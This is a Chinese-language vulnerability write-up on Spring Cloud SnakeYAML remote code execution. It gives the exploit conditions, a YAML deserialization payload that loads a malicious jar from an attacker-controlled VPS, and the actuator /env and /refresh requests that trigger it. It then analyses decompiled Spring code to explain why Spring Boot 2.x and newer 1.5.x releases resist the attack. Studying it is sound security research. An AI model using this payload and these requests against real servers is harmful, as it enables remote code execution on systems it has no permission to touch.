SpringCloud-SnakeYAML-RCE {#SpringCloud-SnakeYAML-RCE}
利用条件 {#利用条件}
Ps:支持/env的post的好像必须要springCloud,springBoot我怎么都不可以搜了网上一堆也不行,有大佬知道可以说说为什么
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标依赖的
spring-cloud-starter
版本 < 1.3.0.RELEASE - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
漏洞复现 {#漏洞复现}
1.在网站根目录下放置后缀为 yml
的文件 example.yml
,内容如下
|-------------------|----------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5
| !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://your-vps-ip/example.jar"] ]] ]
|
2.准备一个恶意jar,实现SPI,很简单如下
3.设置 spring.cloud.bootstrap.location 属性
spring1.x
|-----------------|----------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4
| POST /env Content-Type: application/x-www-form-urlencoded spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
|
spring2.x
|-----------------|-----------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4
| POST /actuator/env Content-Type: application/json {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
|
4.刷新配置
spring 1.x
|-------------|-----------------------------------------------------------------------|
| 1 2
| POST /refresh Content-Type: application/x-www-form-urlencoded
|
spring 2.x
|-------------|---------------------------------------------------------------|
| 1 2
| POST /actuator/refresh Content-Type: application/json
|
漏洞原理 {#漏洞原理}
从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致,这个在我博客其他文章就有提过了,这里就不再多说
看几个关键的地方,处理 /refresh
接口请求的类在org.springframework.cloud.endpoint.RefreshEndpoint#refresh
第二个是 BootstrapApplicationListener.bootstrapServiceContext()
方法,这里从环境变量中获取到了 spring.cloud.bootstrap.location
的值
最后在 org.springframework.boot.env.PropertySourcesLoader.load()
方法,根据文件名后缀 (yml) ,使用 YamlPropertySourceLoader
类加载 url 对应的 yml 配置文件,因 spring-beans.jar 包含 snakeyaml.jar,因此 YamlPropertySourceLoader
在默认情况下是使用 SnakeYAML 库解析配置
高版本无效 {#高版本无效}
在Spring1.x版本当中
|------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) { StandardEnvironment environment = new StandardEnvironment(); MutablePropertySources capturedPropertySources = environment.getPropertySources(); Iterator var4 = capturedPropertySources.iterator(); PropertySource source; while(var4.hasNext()) { source = (PropertySource)var4.next(); capturedPropertySources.remove(source.getName()); } var4 = input.getPropertySources().iterator(); while(var4.hasNext()) { source = (PropertySource)var4.next(); capturedPropertySources.addLast(source); } environment.setActiveProfiles(input.getActiveProfiles()); environment.setDefaultProfiles(input.getDefaultProfiles()); Map<String, Object> map = new HashMap(); map.put("spring.jmx.enabled", false); map.put("spring.main.sources", ""); capturedPropertySources.addFirst(new MapPropertySource("refreshArgs", map)); return environment; }
|
在Spring2.x版本当中,却有限制
|------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) { StandardEnvironment environment = new StandardEnvironment(); MutablePropertySources capturedPropertySources = environment.getPropertySources(); String[] var4 = DEFAULT_PROPERTY_SOURCES; int var5 = var4.length; for(int var6 = 0; var6 < var5; ++var6) { String name = var4[var6]; if (input.getPropertySources().contains(name)) { if (capturedPropertySources.contains(name)) { capturedPropertySources.replace(name, input.getPropertySources().get(name)); } else { capturedPropertySources.addLast(input.getPropertySources().get(name)); } } } environment.setActiveProfiles(input.getActiveProfiles()); environment.setDefaultProfiles(input.getDefaultProfiles()); Map<String, Object> map = new HashMap(); map.put("spring.jmx.enabled", false); map.put("spring.main.sources", ""); map.put("spring.main.web-application-type", "NONE"); capturedPropertySources.addFirst(new MapPropertySource("refreshArgs", map)); return environment; }
|
必须在DEFAULT_PROPERTY_SOURCES当中的才能被添加到propertySourceList,而恰好
|-----------|------------------------------------------------------------------------------------------------------------------------|
| 1
| private static final String[] DEFAULT_PROPERTY_SOURCES = new String[]{"commandLineArgs", "defaultProperties"};
|
结论 {#结论}
- Spring Boot 2.x 无法利用成功
- Spring Boot 1.5.x 在使用
Dalston
版本时可利用成功,使用Edgware
无法成功 - Spring Boot <= 1.4 可利用成功